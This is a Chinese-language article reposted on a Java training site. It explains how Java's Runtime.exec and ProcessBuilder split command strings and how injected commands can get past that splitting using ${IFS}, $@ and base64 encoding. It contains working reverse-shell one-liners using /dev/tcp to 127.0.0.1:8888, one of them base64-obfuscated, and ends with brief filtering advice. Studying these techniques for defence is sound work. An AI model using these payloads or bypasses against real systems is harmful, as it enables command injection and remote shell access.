13161216443

您所在位置: 首頁> 學習課程> java培訓班 | java命令執行小細節

java培訓班 | java命令執行小細節

發布百知教育 來源:學習課程 2019-12-02

熟知的在java下執行系統命令的代碼

Runtime.getRuntime().exec()

new ProcessBuilder().start()

眾所周知,僅在命令前加了/bin/bash -c,才能使用特殊符號,如; | >等


使用${IFS}

測試代碼:

String string="xxx";
InputStream in=Runtime.getRuntime().exec(string).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\A");
System.out.println(scanner.hasNext() ? scanner.next() : "");

·    xxx=echo -n 123 輸出

 123

·    xxx=/bin/bash -c echo -n 123輸出為空

·    xxx=/bin/bash -c echo${IFS}123 輸出


 123

·    xxx=/bin/bash -c x=3;echo${IFS}$x 輸出


 3

·    xxx=/bin/bash -c ls|grep${IFS}1.txt 輸出

 1.txt

·    xxx=/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反彈,/bin/bash -c其后不能有空格等

·    xxx=bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 不可反彈,由于無法識別到第一個參數

·    xxx=/bin/bash -c echo bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1不可反彈,echo后有空格

 ·    xxx=/bin/bash -c echo${IFS}-n${IFS}bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反彈,同理

綜合以上可知

·    xxx開頭不包含/bin/bash -c,且不含特殊符號如>;${IFS}等,僅含有參數-r-c及參數值時,可正常執行

  • 可以看到$man bash文檔中對${IFS}的描述大佬鏈接

  • 作為內部字段分隔符

  • 除非特別設置,其默認值為<space><tab><newline>

The  Internal  Field  Separator  that  is  used  for  word  splitting  after expansion and to split lines into words with the read builtin command.  The default value is ``<space><tab><newline>''.

$echo -n "${IFS}"|hexdump得到其值為20 09 0a,與默認值<space><tab><newline>對應


  • exec中使用StringTokenizer st = new StringTokenizer(command)函數進行分割

  • 即 輸入的xxx以 空格 \t\n\r\f進行分割,如下為StringTokenizer構造函數代碼

public StringTokenizer(String str) {    this(str, " \t\n\r\f", false);
}

·    若xxx開頭包含/bin/bash -c ,則其后不能含有空格\t\n\r\f,否則就會被荼毒,使系統無法辨別。但是可以輸入特殊符號如

  • ; |執行多條命令

  • ${IFS}繞過StringTokenizer

所以,在/bin/bash -c的前提下,可以進行拼接命令

如/bin/bash -c echo;ls|grep${IFS}1.txt

輸出如下所示,前一條命令為echo;,后一條為ls|grep${IFS}1.txt

1.txt

若Runtime.getRuntime().exec()的第一個參數為string類型,則難逃StringTokenizer的摧殘,則/bin/bash -c與其后命令存在空格\t\n\r\f無法并存。

/** 當第一個參數類型為String時,都會走到exec(String var1, String[] var2, File var3)這一步,等被分割了,再調用ProcessBuilder(String... var1) */public Process exec(String var1) throws IOException {  return this.exec((String)var1, (String[])null, (File)null);
}public Process exec(String var1, String[] var2) throws IOException {  return this.exec((String)var1, var2, (File)null);
}public Process exec(String var1, String[] var2, File var3) throws IOException {  if (var1.length() == 0) {    throw new IllegalArgumentException("Empty command");
 } else {
   StringTokenizer var4 = new StringTokenizer(var1);
   String[] var5 = new String[var4.countTokens()];    for(int var6 = 0; var4.hasMoreTokens(); ++var6) {
     var5[var6] = var4.nextToken();
   }    return this.exec(var5, var2, var3);
 }
}/** 當第一個參數類型為String[]時,直接調用ProcessBuilder(String... var1) */public Process exec(String[] var1) throws IOException {  return this.exec((String[])var1, (String[])null, (File)null);
}public Process exec(String[] var1, String[] var2) throws IOException {  return this.exec((String[])var1, var2, (File)null);
}public Process exec(String[] var1, String[] var2, File var3) throws IOException {  return (new ProcessBuilder(var1)).environment(var2).directory(var3).start();
}

而ProcessBuilder的構造函數如下

·    以List<String> var1為參數的,直接將數組var1賦給命令command。

·    以String... var1為參數的,由于存在command.add(var5);,在/bin/bash -c后的命令即使存在空格\t\n\r\f,也不會將其分割

public ProcessBuilder(List<String> var1) {  if (var1 == null) {    throw new NullPointerException();
 } else {    this.command = var1;
 }
}public ProcessBuilder(String... var1) {  this.command = new ArrayList(var1.length);
 String[] var2 = var1;  int var3 = var1.length;  for(int var4 = 0; var4 < var3; ++var4) {
   String var5 = var2[var4];    this.command.add(var5);
 }

}


No.4

使用數組形式

使用數組形式是最普遍被熟知的。

像如下兩種一樣,直接將(/bin/bash、-c、命令)用數組(可變長)形式分割,這樣命令也可直接使用空格等特殊字符

String cmdold=";echo 123";
String cmdnew="ls | grep 1.txt"+cmdold;
ArrayList<String> hhh=new ArrayList<String>(0);
hhh.add("/bin/bash");
hhh.add("-c");
hhh.add(cmdnew);new ProcessBuilder(hhh);


java培訓班



new ProcessBuilder("/bin/bash","-c","ls | grep 1.txt;echo 123");


java培訓班


No.5

使用$@

1.txt的內容是

aa bb cc

dd ee ff

執行命令

$x=`cat 1.txt`

$set $x

$echo $@

結果為

aa bb cc dd ee ff

2.txt的內容是

cat 1.txt

執行命令

echo $@ |bash 2.txt

結果為

aa bb cc 

dd ee ff

$@能夠獲取對應的變量。

像$@|bash xxx string命令,若xx為空或者找不到,則將變成string|bash

因此可以繞過/bin/bash -c之后的命令不準含空格等字符的限制,來執行命令,如下

/bin/bash -c $@|bash 0 echo 命令


No.6

使用base64

bash -i >&/dev/tcp/127.0.0.1/8888<&1對應
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4PCYx}|{base64,-d}|{bash,-i}

base64解碼之后的內容就是bash -i >&/dev/tcp/127.0.0.1/8888<&1


No.7

防護建議

對傳入的字符串(有可能拼接到命令中)進行過濾時,要注意${IFS}特殊符號、base64編碼等情況。


聲明:


由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。


雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。


java培訓班:http://www.akpsimsu.com/java2019



上一篇:UI設計培訓 | 成為專業UI設計師,到底需要什么?

下一篇:應屆生去公司找個Java程序員的職位需要什么技能?

相關推薦

www.akpsimsu.com

有位老師想和您聊一聊

關閉

立即申請